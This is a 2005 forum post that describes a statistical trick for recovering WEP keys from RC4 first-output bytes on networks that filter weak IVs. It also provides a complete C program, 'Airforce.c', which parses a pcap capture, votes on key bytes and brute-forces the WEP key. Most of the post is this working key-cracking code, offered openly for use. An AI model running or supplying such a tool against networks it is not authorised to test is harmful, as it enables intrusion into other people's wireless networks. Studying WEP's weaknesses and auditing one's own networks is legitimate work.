![]() |
|
|||||||
| Register | Search | Today's Posts | Mark Forums Read |
![]() |
|
|
LinkBack | Thread Tools | Display Modes |
|
|
#1 (permalink) |
|
Registered Member
Join Date: Sep 2005
Posts: 1
|
When aircrack fails with millions packets...
I was happy with my new wep+ network, because it's filtering weak iv and aircrack can't find the key with more than 2 millions uniques iv...
So I had a deeper look into the rc4 and found a little trick: Given a secret key K3,k4,k5,...ki,... and an iv like iv0,255,255-iv0-(3+4+...+i)-(k3+k4+...+ki) the most probable first output byte from rc4 is i Reversing this, you get : sum(i)=k3+k4+...+ki=255-iv0-iv2-(3+4...+i) * Theses packets are rare (about 1/256) so this is not very efficient, but read again the title If you get enough sumi, you can reduce the key space to search. Guessing sumi and sumi-1 will give you the secret key byte ki. Note that you may guess a key byte without knowing the previous bytes. You may guess the length of the key: if k8=iv0 or k9=iv1 or k10=iv2 then the key is certainly 64 bits long. An iv like iv0,255,254-iv0-(3+4+...+i)-(k3+k4+...+ki) will output iv0 but it's unstable Here is a little program for demo purpose. This won't necessarily find the key but you can see if aircrack is on the right way... Code:
// Airforce.c
// when Aircrack fails with millons packets...
#include <stdio.h>
#include <stdlib.h>
#include <pcap.h>
typedef struct {
unsigned short frametype;
unsigned short duration;
u_char bssid[6];
u_char SourceMac[6];
u_char DestMac[6];
unsigned short fragment;
u_char iv0;
u_char iv1;
u_char iv2;
u_char key;
u_char data [];
} packets;
int S256[256];
int sum[256][256];
#define swap(x,y) {int tmp=y; y=x;x=tmp;}
int rc4(int KEY[16])
{
int S[256],i,j;
memcpy(S,S256,sizeof(S));
for(i=0,j=0;i<256;i++)
{
j=(j+S[i]+KEY[i&0xf])&0xff;
swap(S[i],S[j]);
}
//just output the first byte
j=S[1];
swap(S[1],S[j]);
return (S[(S[1]+S[j])&0xff]);
}
int test(int KEY[16],int testpack[10][4])
{ int i;
for(i=0;i<10;i++)
{
KEY[0]=testpack[i][0];
KEY[1]=testpack[i][1];
KEY[2]=testpack[i][2];
if (rc4(KEY)!=testpack[i][3]) return 0;
}
return 1;
}
void displaykey(int KEY[16])
{ int i;
for(i=3;i<16;i++) printf("%02x ",KEY[i]);
printf("\n");
}
int main(int argc, char *argv[])
{
struct pcap_pkthdr *header;
packets *packet;
int paqlen;
char filename[1024];
int res;
pcap_t *fp;
char errbuf[PCAP_ERRBUF_SIZE];
int i,j;
float votes[256];
int key,max[256],guess[256];
int testpack[10][4];
int pread,pusable;
int TESTKEY[16];
int fudge(int n,int sum)
{int i,j,k;
if (n==16) //the end
{
if (test(TESTKEY,testpack))
{ printf ("KEY FOUND \n"); displaykey(TESTKEY);exit(0);}
return 0;
}
if (votes[n]>14.0)
{ TESTKEY[n]=(guess[n]-sum+256)&0xff;
fudge(n+1,0);
}
else
{
int direction=(n&1);
for (i=0;i<128;i++)
if (direction)
{
TESTKEY[n]=(guess[n]+i)&0xff;
fudge(n+1,(sum+i)&0xff);
TESTKEY[n]=(guess[n]-i+255)&0xff;
fudge(n+1,(sum-i+255)&0xff);
}
else
{ TESTKEY[n]=(guess[n]-i+255)&0xff;
fudge(n+1,(sum-i+255)&0xff);
TESTKEY[n]=(guess[n]+i)&0xff;
fudge(n+1,(sum+i)&0xff);
}
}
return 0;
}
if (argc!=2)
{fprintf(stderr," Usage : airforce <pcap capture file>\n");
return -1;
}
strcpy(filename,"file://");
strcat(filename,argv[1]);
fp= (pcap_t *) pcap_open(filename,
65536 /*snaplen*/,
NULL /*flags*/,
1000 /*read timeout*/,
NULL /* remote authentication */,
errbuf);
if (fp) printf("opening file %s\n",argv[1]);
else
{fprintf(stderr,"\nError opening file: %s\n", errbuf);
return -1;}
for(i=0;i<256;i++) S256[i]=i;
memset(sum,0,sizeof(sum));
pread=pusable=0;
while((res = pcap_next_ex( fp, &header, &packet) ) >= 0)
{
if(res == 0)
/* Timeout elapsed */
continue;
pread++;
paqlen=header->caplen-32;
int out=packet->data[0] ^ 0xaa ;
if (packet->iv1==255)
{
if (pusable<10)
{testpack[pusable][0]=packet->iv0;
testpack[pusable][1]=packet->iv1;
testpack[pusable][2]=packet->iv2;
testpack[pusable][3]=out;
}
pusable++;
if (( ((packet->iv0+packet->iv2)&0xff) !=255 ) &&
(( packet->iv0 > out) || ( packet->iv0==0 )) )
{
int ski=(255-packet->iv0-packet->iv2+512)&0xff;
if (out>15) ski=(256+ski-packet->iv0)&0xff;
if (out>16) ski=(256+ski-packet->iv1)&0xff;
if (out>17) ski=(256+ski-packet->iv2)&0xff;
sum[out][ski]++;
}
}
}
pcap_close(fp);
printf("packets read %d, usable %d\n",pread,pusable);
if (pusable<10)
{printf ("not enough usable packets,exiting...\n");
exit (1);
}
memset(max,0,sizeof(max));
memset(guess,0,sizeof(guess));
votes[2]=100;
for(key=3;key<20;key++)
for(i=0;i<256;i++)
if (sum[key][i]>sum[key][max[key]]) {max[key]=i;}
max[15]=(max[16]-16+256)&0xff; // not sure about that one!
for(key=3;key<16;key++)
{
int s=0;
for(i=0;i<256;i++) s+=sum[key][i];
int smax=sum[key][max[key]];
votes[key]=100.0*smax/s;
if (smax<5) votes[key]=0.0;
if (key==15) votes[key]=100.0;
guess[key]=(max[key]-max[key-1]-key+256)&0xff;
printf("guess key %2d : %02x ",key,guess[key]);
printf(" (votes : %d / %d %.2f%%)",smax,s, votes[key]);
if ( (votes[key-1]>14.0) && (votes[key]>14.0) )printf(" (This byte should be ok!)");
printf("\n");
}
if (!fudge(3,0))
printf("KEY NOT FOUND...\n");
return -1;
}
Last edited by Thorn : 09-13-2005 at 05:55 AM. Reason: Code seperated. |
|
|
|